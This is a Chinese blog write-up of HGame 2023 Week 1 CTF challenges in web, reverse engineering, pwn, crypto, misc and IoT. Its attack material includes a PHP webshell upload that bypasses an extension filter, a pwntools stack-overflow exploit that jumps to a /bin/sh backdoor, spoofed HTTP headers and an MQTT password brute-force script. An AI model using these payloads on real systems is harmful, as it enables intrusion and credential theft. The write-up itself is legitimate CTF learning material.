HGame 2023 Week1 部分Writeup

HGame 2023 Week1 部分Writeup

阅读提示

本文共6,011字,阅读大约需12分钟。

第一周的大部分题目难度较低,不过也存在一部分难题,解这些题目的过程也是一个很好的学习机会(虽然最后还是没解出来)下面是我的题解。

Week1 比赛地址:https://hgame.vidar.club/contest/2

[WEB] Classic Childhood Game

本题是一道纯前端的WEB题,比较简单,猜测通关获得flag,查看源代码,在/Res/Events.js中发现可能是flag的代码:

function mota() {
  var a = ['\x59\x55\x64\x6b\x61\x47\x4a\x58\x56\x6a\x64\x61\x62\x46\x5a\x31\x59\x6d\x35\x73\x53\x31\x6c\x59\x57\x6d\x68\x6a\x4d\x6b\x35\x35\x59\x56\x68\x43\x4d\x45\x70\x72\x57\x6a\x46\x69\x62\x54\x55\x31\x56\x46\x52\x43\x4d\x46\x6c\x56\x59\x7a\x42\x69\x56\x31\x59\x35'];
  (function (b, e) {
    var f = function (g) {
      while (--g) {
        b['push'](b['shift']());
      }
    };
    f(++e);
  }(a, 0x198));
  var b = function (c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['CFrzVf'] === undefined) {
      (function () {
        var g;
        try {
          var i = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
          g = i();
        } catch (j) {
          g = window;
        }
        var h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        g['atob'] || (g['atob'] = function (k) {
          var l = String(k)['replace'](/=+$/, '');
          var m = '';
          for (var n = 0x0, o, p, q = 0x0; p = l['charAt'](q++); ~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) {
            p = h['indexOf'](p);
          }
          return m;
        });
      }());
      b['fqlkGn'] = function (g) {
        var h = atob(g);
        var j = [];
        for (var k = 0x0, l = h['length']; k < l; k++) {
          j += '%' + ('00' + h['charCodeAt'](k)['toString'](0x10))['slice'](-0x2);
        }
        return decodeURIComponent(j);
      };
      b['iBPtNo'] = {};
      b['CFrzVf'] = !![];
    }
    var f = b['iBPtNo'][c];
    if (f === undefined) {
      e = b['fqlkGn'](e);
      b['iBPtNo'][c] = e;
    } else {
      e = f;
    }
    return e;
  };
  alert(atob(b('\x30\x78\x30')));
}

控制台运行一下,获得flag

hgame{fUnnyJavascript&FunnyM0taG4me}

[WEB] Become A Member

考察HTTP基础知识,难度不高,但是不得不吐槽出题人的题意描述实在太含糊了。进入页面,提示请先提供一下身份证明(Cute-Bunny)哦,然后看到Network里面的响应头

Set-Cookie: code=guest; Path=/; Domain=localhost; Max-Age=3600; HttpOnly

下意识地以为和cookie、host、XFF或者BasicAuth有关,搞了半天结果是要改UserAgent,有些无语。
只要不要理解错,后面还是很简单的,跟着网页提示一步一步构造payload即可,对于HTTP协议理解考察还是挺多的,后面也确实和cookie、XFF之类有关,不过第一个考察UserAgent题意确实描述的不是很清晰。
最后的payload如下:

GET / HTTP/1.1
Host: <host>
Upgrade-Insecure-Requests: 1
User-Agent: Cute-Bunny
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: code=Vidar;
Referer: bunnybunnybunny.com
X-Forwarded-For: 127.0.0.1
Content-Length: 49

{"username":"luckytoday", "password": "happy123"}

得到flag:

hgame{H0w_ArE_Y0u_T0day?}

[WEB] Guess Who I Am

本题需要连续回答对100道问题,进入网页,查看源代码,可以看到提示:

<!-- Hint: https://github.com/Potat0000/Vidar-Website/blob/master/src/scripts/config/member.js -->

访问链接,可以获得人员信息。这里如果不嫌麻烦的话,可以手动回答100题,当然也可以写脚本。
抓包发现,问题通过接口/api/getQuestion获得,提交答案通过/api/verifyAnswer提交,分数通过/api/getScore查询,因此,可以编写以下python代码:

import requests

l = [
    {
        "id": "ba1van4",
        "intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉",
        "avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640",
        "url": "https://ba1van4.icu"
    },
    # ...
    {
        "id": "Eric",
        "intro": "渗透 / 人工智能 / 北师大博士在读",
        "url": "https://3riccc.github.io"
    }
]

URL = "http://week-1.hgame.lwsec.cn:32174/"


def getQuestion():
    ret = session.get(URL + "api/getQuestion")
    return ret.json()['message']


def postAnswer(ans):
    ret = session.post(URL + "api/verifyAnswer", data={
        'id': ans
    })
    print(ret.text)


def find(q):
    for i in l:
        if i['intro'] == q:
            return i['id']


if __name__ == '__main__':
    session = requests.session()
    for i in range(100):
        q = getQuestion()
        ans = find(q)
        postAnswer(ans)
    print(session.get(URL + "api/getScore").text)


运行并获得flag

hgame{Guess_who_i_am^Happy_Crawler}

[WEB] Show Me Your Beauty

这道题考察文件上传相关知识,先随便上传一张图片,发现JSON返回内容:

{"json":"Upload Successfully! .\/img\/xxx.jpg  5s\u540e\u9875\u9762\u81ea\u52a8\u5237\u65b0"}

尝试更换后缀名,发现.php.user.ini.php7.htaccess均被禁用,正当一筹莫展的时候,突然发现,.PHP居然可以(草了),于是发送如下payload

POST /upload.php HTTP/1.1
Host: week-1.hgame.lwsec.cn:31691
Content-Length: 183
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarystm11YB7wBOq5O6v
Origin: http://week-1.hgame.lwsec.cn:31691
Referer: http://week-1.hgame.lwsec.cn:31691/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=i6fi917s5g9ojm4ftkmp6o26qd
Connection: close

------WebKitFormBoundarystm11YB7wBOq5O6v
Content-Disposition: form-data; name="file"; filename="yjsenpai.PHP"
Content-Type: image/jpeg

<?php system("cat /f*");
------WebKitFormBoundarystm11YB7wBOq5O6v--

访问upload/yjsenpai.PHP获取flag(此处有一个需要注意的地方,就是在访问的时候,需要携带上传时一样的PHPSESSID,否则可能会有问题)

hgame{Unsave_F1L5_SYS7em_UPL0ad!}

[REVERSE] test your IDA

由于是第一次接触逆向相关的题目,笔者也属于边学习边解题,部分内容描述可能不准确,望见谅。
这道题确实就是用来测试IDA好不好用的()
下载附件以后,拖到IDA查看源代码,

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Str1[24]; // [rsp+20h] [rbp-18h] BYREF

  sub_140001064("%10s");
  if ( !strcmp(Str1, "r3ver5e") )
    sub_140001010("your flag:hgame{te5t_y0ur_IDA}");
  return 0;
}

易得flag

your flag:hgame{te5t_y0ur_IDA}

[REVERSE] easyasm

下载附件,看到一段汇编代码,由于笔者不会汇编,于是只能靠猜了(

; void __cdecl enc(char *p)
.text:00401160 _enc            proc near               ; CODE XREF: _main+1B↑p
.text:00401160
.text:00401160 i               = dword ptr -4
.text:00401160 Str             = dword ptr  8
.text:00401160
.text:00401160                 push    ebp
.text:00401161                 mov     ebp, esp
.text:00401163                 push    ecx
.text:00401164                 mov     [ebp+i], 0
.text:0040116B                 jmp     short loc_401176
.text:0040116D ; ---------------------------------------------------------------------------
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: _enc+3B↓j
.text:0040116D                 mov     eax, [ebp+i]
.text:00401170                 add     eax, 1
.text:00401173                 mov     [ebp+i], eax
.text:00401176
.text:00401176 loc_401176:                             ; CODE XREF: _enc+B↑j
.text:00401176                 mov     ecx, [ebp+Str]
.text:00401179                 push    ecx             ; Str
.text:0040117A                 call    _strlen
.text:0040117F                 add     esp, 4
.text:00401182                 cmp     [ebp+i], eax
.text:00401185                 jge     short loc_40119D
.text:00401187                 mov     edx, [ebp+Str]
.text:0040118A                 add     edx, [ebp+i]
.text:0040118D                 movsx   eax, byte ptr [edx]
.text:00401190                 xor     eax, 33h
.text:00401193                 mov     ecx, [ebp+Str]
.text:00401196                 add     ecx, [ebp+i]
.text:00401199                 mov     [ecx], al
.text:0040119B                 jmp     short loc_40116D
.text:0040119D ; ---------------------------------------------------------------------------
.text:0040119D
.text:0040119D loc_40119D:                             ; CODE XREF: _enc+25↑j
.text:0040119D                 mov     esp, ebp
.text:0040119F                 pop     ebp
.text:004011A0                 retn
.text:004011A0 _enc            endp
Input: your flag
Encrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

密文是

0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

猜测关键加密语句是

.text:00401190                 xor     eax, 33h

运气很好,猜对了(
于是编写如下python代码:

if __name__ == '__main__':
    ori = '0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e'
    r = ori.split(',')
    for i in r:
        print(chr(int(i, 16) ^ 0x33), end="")

得到flag

hgame{welc0me_t0_re_wor1d!}

[REVERSE] easyenc

反汇编得到代码,这里,我删去了一些无关变量,自己做了一些注释,方便理解程序:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef char _BYTE;

int main() {
	__int64 v3; // rbx
	__int64 v4; // rax
	char v5; // al
	char *v6; // rcx
	int v8[10]; // [rsp+20h] [rbp-19h]
	__int128 v10[3]; // [rsp+50h] [rbp+17h] BYREF

	v8[0] = 167640836;
	v8[1] = 11596545;
	v8[2] = -1376779008;
	v8[3] = 85394951;
	v8[4] = 402462699;
	v8[5] = 32375274;
	v8[6] = -100290070;
	v8[7] = -1407778552;
	v8[8] = -34995732;
	v8[9] = 101123568;

	v3 = 0;
	v4 = -1;

	memset(v10, 0, sizeof(v10));
	scanf("%50s", (const char *)v10);

	do
		++v4;
	while ( *((_BYTE *)v10 + v4) );
	// v4 = v10长度,v10可以看作一个字符串,每一个字符代表一个值
	
	if ( v4 == 41 ) {
		while ( 1 ) {
			v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; // (_BYTE *)v10 + v3 表示v10[v3]的值
			*((_BYTE *)v10 + v3) = v5;
			if ( *((_BYTE *)v8 + v3) != v5 )
				break;
			if ( ++v3 >= 41 ) {
				v6 = "you are right!";
				goto LABEL_8;
			}
		}
		v6 = "wrong!";
LABEL_8:
		printf(v6);
	}
	return 0;
}

可知密文大约是长度为41字符的,关键的加密代码其实只有这一句:

v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; 

由于异或可逆,根据程序,反推出解密代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef char _BYTE;

int main() {
	int v8[10]; // [rsp+20h] [rbp-19h]

	v8[0] = 167640836;
	v8[1] = 11596545;
	v8[2] = -1376779008;
	v8[3] = 85394951;
	v8[4] = 402462699;
	v8[5] = 32375274;
	v8[6] = -100290070;
	v8[7] = -1407778552;
	v8[8] = -34995732;
	v8[9] = 101123568;

	for (int i = 0; i < 41; i++) {
		printf("%c", (*((_BYTE *)v8 + i) + 86) ^ 0x32);
	}

	return 0;
}

运行获得flag:

hgame{4ddit1on_is_a_rever5ible_0perationL

这里最后一个字符出现了一些小问题,根据测试,最后的flag为:

hgame{4ddit1on_is_a_rever5ible_0peration}

[REVERSE] a_cup_of_tea

本题反汇编后,处理完毕的代码大致如下:

#include <stdio.h>
#include <string.h>
#include <emmintrin.h>


__int64 __fastcall sub_1400010B4(unsigned int *a1, int *a2) {
	int v2; // ebx
	int v3; // r11d
	int v4; // edi
	int v5; // esi
	int v6; // ebp
	unsigned int v7; // r9d
	__int64 v8; // rdx
	unsigned int v9; // r10d
	__int64 result; // rax

	v2 = *a2;
	v3 = 0;
	v4 = a2[1];
	v5 = a2[2];
	v6 = a2[3];
	v7 = *a1;
	v8 = 32;
	v9 = a1[1];
	do {
		v3 -= 1412567261;
		v7 += (v3 + v9) ^ (v2 + 16 * v9) ^ (v4 + (v9 >> 5));
		result = v3 + v7;
		v9 += result ^ (v5 + 16 * v7) ^ (v6 + (v7 >> 5));
		--v8;
	} while ( v8 );
	*a1 = v7;
	a1[1] = v9;
	return result;
}

int __cdecl main() {
	int v3; // eax
	char *v4; // rcx
	unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901}; // 0x45678901, 0x34567890, 0x23456789, 0x12345678

	int Buf2[8]; // [rsp+30h] [rbp-9h] BYREF
	__int16 v8; // [rsp+50h] [rbp+17h]
	__int128 Buf1; // [rsp+58h] [rbp+1Fh] BYREF
	__int128 v10[2]; // [rsp+68h] [rbp+2Fh] BYREF
	__int16 v11; // [rsp+88h] [rbp+4Fh]

	Buf2[0] = 778273437;
	Buf1 = 0;
	memset(v10, 0, sizeof(v10));
	v11 = 0;
	Buf2[1] = -1051836401;
	// si128 = _mm_load_si128((const __m128i *) &xmmword_1400022B0);
	Buf2[2] = -1690714183;
	Buf2[3] = 1512016660;
	Buf2[4] = 1636330974;
	Buf2[5] = 1701168847;
	Buf2[6] = -1626976412;
	Buf2[7] = 594166774;
	v8 = 32107;
	printf("nice tea!\n> ");
	scanf("%50s", (const char *)&Buf1);
	sub_1400010B4((unsigned int *)&Buf1, si128);
	sub_1400010B4((unsigned int *)&Buf1 + 2, si128);
	sub_1400010B4((unsigned int *)v10, si128);
	sub_1400010B4((unsigned int *)v10 + 2, si128);

	v3 = memcmp(&Buf1, Buf2, 0x22u);
	v4 = "wrong...";
	if ( !v3 )
		v4 = "Congratulations!";
	printf(v4);
	return 0;
}

值得注意的是,

si128 = _mm_load_si128((const __m128i *) &xmmword_1400022B0);

这句语句在加载数据时,方向是从后向前加载的,这是一个大坑,例如,在本题中,xmmword_1400022B0的数据为:

45678901345678902345678912345678h

那么,他被转换为数组时,应当时如下顺序存储的(这个卡了很久):

unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901};

除了这个之外,本题目的加密算法其实也是有原型的,即TEA加密算法,本来对这道题的解密算法十分头疼,但是十分感谢组内同学提醒(果然经验很重要啊),参考了TEA算法的解密代码 (注意,这个和正宗TEA加密还是有一丁点区别的),最后写出如下解密代码:

#include <stdio.h>
#include <string.h>
#include <emmintrin.h>
#include <stdint.h>

void decrypt(unsigned int *v, unsigned int *k) {
	unsigned int v0 = v[0], // v7
	             v1 = v[1]; // v9
	int delta = -1412567261;  // delta
	int sum = 2042487904; // v3
	unsigned int k0 = k[0], // v2
	             k1 = k[1], // v4
	             k2 = k[2], // v5
	             k3 = k[3]; // v6
	for (int i = 0; i < 32; i++) {
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}

int __cdecl main() {
	int Buf2[8];
	unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901}; // 0x45678901, 0x34567890, 0x23456789, 0x12345678
	Buf2[0] = 778273437;
	Buf2[1] = -1051836401;
	Buf2[2] = -1690714183;
	Buf2[3] = 1512016660;
	Buf2[4] = 1636330974;
	Buf2[5] = 1701168847;
	Buf2[6] = -1626976412;
	Buf2[7] = 594166774;
	
	char buf[50] = {0};
	memcpy(buf, Buf2, sizeof Buf2);

	decrypt((unsigned int *)&buf, si128);
	decrypt((unsigned int *)&buf + 2, si128);
	decrypt((unsigned int *)&buf + 4, si128);
	decrypt((unsigned int *)&buf + 6, si128);
	
	printf("%s", buf);
	
	return 0;
}

值得注意的是,decrypt函数的sum需要在C语言环境下计算得出,因为它在计算过程中有发生溢出。最后计算出的flag为:

hgame{Tea_15_4_v3ry_h3a1thy_drln

emmm,好像末尾又少了一些什么,不过笔者忘了最后是啥了,这就留给各位读者自行尝试吧~

[REVERSE] encode

这道题需要用32位IDA反编译,代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[100]; // [esp+0h] [ebp-1CCh] BYREF
  char v5[52]; // [esp+190h] [ebp-3Ch] BYREF
  int j; // [esp+1C4h] [ebp-8h]
  int i; // [esp+1C8h] [ebp-4h]

  memset(v5, 0, 0x32u);
  memset(v4, 0, sizeof(v4));
  sub_4011A0(a50s, (char)v5);
  for ( i = 0; i < 50; ++i )
  {
    v4[2 * i] = v5[i] & 0xF;
    v4[2 * i + 1] = (v5[i] >> 4) & 0xF;
  }
  for ( j = 0; j < 100; ++j )
  {
    if ( v4[j] != dword_403000[j] )
    {
      sub_401160(Format, v4[0]);
      return 0;
    }
  }
  sub_401160(aYesYouAreRight, v4[0]);
  return 0;
}

这里有一个dword_403000全局数组,需要导出,SHIFT+E->initialized C variable即可。本题核心加密代码为:

v4[2 * i] = v5[i] & 0xF;
v4[2 * i + 1] = (v5[i] >> 4) & 0xF;

编写解密代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int dword_403000[100] = {
	8, 6, 7, 6, 1, 6, 13, 6, 5, 6, 11, 7, 5, 6, 14, 6, 3, 6, 15, 6, 4, 6, 5, 6, 15, 5, 9, 6, 3, 7, 15, 5, 5, 6, 1, 6, 3, 7, 9, 7, 15, 5, 6, 6, 15, 6, 2, 7, 15, 5, 1, 6, 15, 5, 2, 7, 5, 6, 6, 7, 5, 6, 2, 7, 3, 7, 5, 6, 15, 5, 5, 6, 14, 6, 7, 6, 9, 6, 14, 6, 5, 6, 5, 6, 2, 7, 13, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};


int main() {
	int v4[100]; // [esp+0h] [ebp-1CCh] BYREF
	char v5[52]; // [esp+190h] [ebp-3Ch] BYREF
	int j; // [esp+1C4h] [ebp-8h]
	memset(v5, 0, 0x32u);
	memset(v4, 0, sizeof(v4));
	for ( j = 0; j < 50; ++j ) {
		printf("%c", dword_403000[2 * j] + dword_403000[2 * j + 1] * 16);
	}
	return 0;
}

得到flag

hgame{encode_is_easy_for_a_reverse_engineer}

[PWN] test_nc

由标题可知,他就是一道测试nc的题目,连接到服务器,输入cat /flag即可获得flag:

hgame{37b459d8acaf8f1c622589e1471664ca30121dbe}

[PWN] easy_overflow

本题参考文章:https://blog.csdn.net/ChaoYue_miku/article/details/118405375

IDA反编译后,代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  close(1);
  read(0, buf, 0x100uLL);
  return 0;
}

同时,在地址0x0000000000401176处发现后门函数:

int b4ckd0or()
{
  return system("/bin/sh");
}

根据参考文章可知,该题的突破口在buf变量,需要将buf的r部分指向后门函数,因此构造如下poc

from pwn import *

if __name__ == '__main__':
    r = remote("week-1.hgame.lwsec.cn", 32586)
    payload = b'A' * 0x10 + b'a' * 0x8 + bytes(p64(0x00401176))
    r.send(payload)
    r.interactive()
    # cat /flag 1>&2

执行cat时发现stdout被关掉了,没关系,只需要转到stderr就行了,运行程序后,输入cat /flag 1>&2,得到flag

hgame{dc8d25d3c48e6e0e258ad1183c5c131569c9a567}

[CRYPTO] 兔兔的车票

下载附件分析后可知,本题为是一道图片异或加密题,也就是将图片的每个像素点对应的颜色进行异或加密存储,题目源代码如下(有部分修改):

from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbits

# flagImg = Image.open('flag.png')
width = 379
height = 234



def makeSourceImg():
    colors = long_to_bytes(getrandbits(width * height * 24))[::-1]
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img


def xorImg(keyImg, sourceImg):
    img = Image.new('RGB', (width, height))
    for i in range(height):
        for j in range(width):
            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img



# source文件夹下面的图片生成过程:
def makeImg():
    colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))
    shuffle(colors)
    print(colors[0:width * height])
    colors = bytes(colors)
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

makeImg()

# for i in range(15):
#     im = makeImg()
#     im.save(f"./source/picture{i}.png")

n1 = makeSourceImg()
n2 = makeSourceImg()
n3 = makeSourceImg()
nonce = [n1, n2, n3]

index = list(range(16))
shuffle(index)
e = 0

"""
这里flag.png已经提前被保存在source文件夹下了,文件名也是picture{xx}.png
"""

for i in index:
    im = Image.open(f"source/picture{i}.png")
    key = nonce[randint(0, 2)]
    encImg = xorImg(key, im)
    encImg.save(f'pics/enc{e}.png')
    e += 1

if __name__ == '__main__':
    pass

乍一看,这道题的加密数据是随机的,似乎是无解的,但是分析生成随机图片的函数可知:

# source文件夹下面的图片生成过程:
def makeImg():
    colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))
    shuffle(colors)
    print(colors[0:width * height])
    colors = bytes(colors)
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

在生成图片的过程中,有weight * height个像素颜色是0,我们又知道,异或加密是可逆加密,一旦知道了原文,便可以和密文进行异或,推出密钥,于是,可以将每张加密过的图片的像素数据都异或48(也就是字符0),得到一个部分正确的密钥,虽然正确的部分不多,但是只要能够看清flag即可。下面是解密代码:

from PIL import Image

width = 379
height = 234


def xorImg(keyImg, sourceImg):
    img = Image.new('RGB', (width, height))
    for i in range(height):
        for j in range(width):
            p1 = keyImg[i][j]
            p2 = sourceImg.getpixel((j, i))
            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
    return img


nonce = []


def getWhiteKeys(index):
    im = Image.open(f"pics/enc{index}.png")
    res = []
    for i in range(height):
        row = []
        for j in range(width):
            p1 = im.getpixel((j, i))
            row.append([(p1[k] ^ 48) for k in range(3)])
        res.append(row)
    return res


index = list(range(16))
e = 0

for i in index:
    nonce.append(getWhiteKeys(i))

for i in index:
    im = Image.open(f"pics/enc{i}.png")
    key_index = 0
    for key in nonce:
        key_index += 1
        print(len(key))
        encImg = xorImg(key, im)
        encImg.save(f'source/pic{e}_{key_index}.png')
        print(f'source/pic{e}_{key_index}.png')
    e += 1

if __name__ == '__main__':
    pass

运行后,可以在source文件夹中看到若干图片,其中就有部分可以清晰看见车票:
20030e05604f209f82cf1a65d2a92161
得到flag:

hgame{Oh_my_Ticket}

RSA

本题可以使用RsaCtfTool解答:

python RsaCtfTool.py -n 135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789 -e 65537  --uncipher 110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582

解出的flag为

hgame{factordb.com_is_strong!}

[CRYPTO] Be Stream

源代码如下:

flag = b'123456'

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]


def stream(i):
    if i == 0:
        return key[0]
    elif i == 1:
        return key[1]
    else:
        return (stream(i - 2) * 7 + stream(i - 1) * 4)


enc = b""
for i in range(len(flag)):
    water = stream((i // 2) ** 6) % 256
    enc += bytes([water ^ flag[i]])

print(enc)
# b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'

if __name__ == '__main__':
    pass

看题目其实不难发现,重点需要计算的是这个water变量的值,如果直接算的话,会递归非常多次,而且数字很大,一定会堆栈溢出的,因此,这里需要优化(解法可能不唯一)。首先,将所有的大数字都MOD 256,然后会发现,其实函数stream的参数只有0-255,那么,记忆化搜索便是一个很好的优化方法。最后优化过的解密代码如下:

data = bytes(
    b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY')

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]

stream_num = {}


def stream(i):
    if stream_num.get(i) is not None:
        return stream_num[i]
    if i == 0:
        return key[0] % 256
    elif i == 1:
        return key[1] % 256
    else:
        final = stream(i - 2) * 7 % 256 + stream(i - 1) * 4 % 256
        if not stream_num.get(i):
            stream_num[i] = final
        return final


ori = b""

for i in range(len(data)):
    water = stream((i // 2) ** 6 % 256) % 256
    ori += bytes([water ^ data[i]])
    print(ori)

print(ori)
# b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'

if __name__ == '__main__':
    pass

运行即可获得flag

hgame{1f_this_ch@l|eng3_take_y0u_to0_long_time?}

[MISC] Sign In

原文:

aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==

一眼BASE64,解码后得到:

hgame{Welcome_To_HGAME2023!}

[MISC] Where am I

分析流量可知,用户向/upload接口发送HTTP流量,上传压缩包,将上传的数据dump下来,发现是一个名为fake.rar的压缩包。直接打开提示压缩包头已损坏,使用winrar修复后可打开,打开后解压(压缩包密码为空),得到一张图片,查询图片的EXIF,即可知道经纬度:
e41fb008ff1871911b185357304d0949
最后的flag为:

hgame{116_24_1488_E_39_54_5418_N}

[MISC] 神秘的海报

下载海报,CRC校验通过,说明该图片有可能是被隐写过的。使用python工具tsteg(这个工具是在菜狗杯解WEB题时发现的,还挺好用)解析一下图片,发现是LSB隐写,隐写内容如下:

strings	:Sure enough, you still remember what we talked about
at that time! This is part of the secret: 
`hgame{U_Kn0w_LSB&W`
strings	:I put the rest of the content here, 
https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEq
Bxm7RUk-G/view?usp=sharing, if you directly access the 
google drive cloud disk download in China, it will be 
very slow,you can try to use Scientific Internet access 
solves the problem of slow or inaccessible access to 
external networkresources. This is my favorite music, 
there is another part of the secret in the music, I use 
Steghide to encrypt, the password is also the 6-digit 
password we agreed at the time,even if someone else finds 
out here, it should not be so easy to crack (( hope so

得到前半部分的flag:

hgame{U_Kn0w_LSB&W

后一部分需要在该链接:https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing
下载音频后,通过Steghide解密即可获得后半部分flag。
根据提示,密码是6位数字,笔者运气很好,一下子就试对了(
密码是123456,输入

steghide info /home/kali/Desktop/Bossanova.wav -p 123456 

查看到里面包含了一个flag2.txt,解压出来:

steghide extract  -p 123456 -sf /home/kali/Desktop/Bossanova.wav

得到另一半flag

av^Mp3_Stego}

最终得到的flag

hgame{U_Kn0w_LSB&Wav^Mp3_Stego}

[MISC] e99p1ant_want_girlfriend

下载附件,发现图片的CRC校验有误,可推测图片的实际宽高与当前宽高不符(详情见:https://www.cnblogs.com/WangAoBo/p/7108278.html
因此,可以使用脚本推算真实高度,脚本如下:

import struct
import zlib


def hexStr2bytes(s):
    b = b""
    for i in range(0, len(s), 2):
        temp = s[i:i + 2]
        b += struct.pack("B", int(temp, 16))
    return b


str1 = "49484452"
str2 = "0806000000"
bytes1 = hexStr2bytes(str1)
bytes2 = hexStr2bytes(str2)
wid, hei = 512, 680

crc32 = "0xa8586b45"

for w in range(wid, wid + 2000):
    for h in range(hei, hei + 2000):
        width = hex(w)[2:].rjust(8, '0')
        height = hex(h)[2:].rjust(8, '0')
        bytes_temp = hexStr2bytes(width + height)
        if eval(hex(zlib.crc32(bytes1 + bytes_temp + bytes2))) == eval(crc32):
            print(hex(w), hex(h))
            print(w, h)

if __name__ == '__main__':
    pass

计算出,宽高应为512 x 706,打开图片后,可在图片底部发现flag

hgame{e99p1ant_want_a_girlfriend_qq_524306184}

[IoT] Help the uncle who can’t jump twice

显然,是一道MQTT的签到题,根据附件给的字典和提示,可知用户名是Vergil ,密码可编写以下代码进行爆破:

import random

from paho.mqtt import client as mqtt_client


def connect_mqtt(username, password):
    broker = '117.50.177.240'
    port = 1883
    client_id = f'python-mqtt-{random.randint(0, 1000)}'

    def on_connect(client, userdata, flags, rc):
        if rc == 0:
            print(username, password)
            print("Connected to MQTT Broker!")
        else:
            pass

    client = mqtt_client.Client(client_id)
    client.username_pw_set(username, password)
    client.on_connect = on_connect
    client.connect(broker, port)

    return client


if __name__ == '__main__':
    f = open("dic.txt", "r")
    ff = f.read().split("\n")
    for password in ff:
        c = connect_mqtt("Vergil", password)
        c.loop_start()

爆破得到密码:power
登录以后,添加一个Nero/YAMATO的订阅,很快就能接收到flag

hgame{mqtt_1s_p0w3r}
# CTF  WEB  MISC  PWN  CRYPTO  REVERSE  IOT 

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×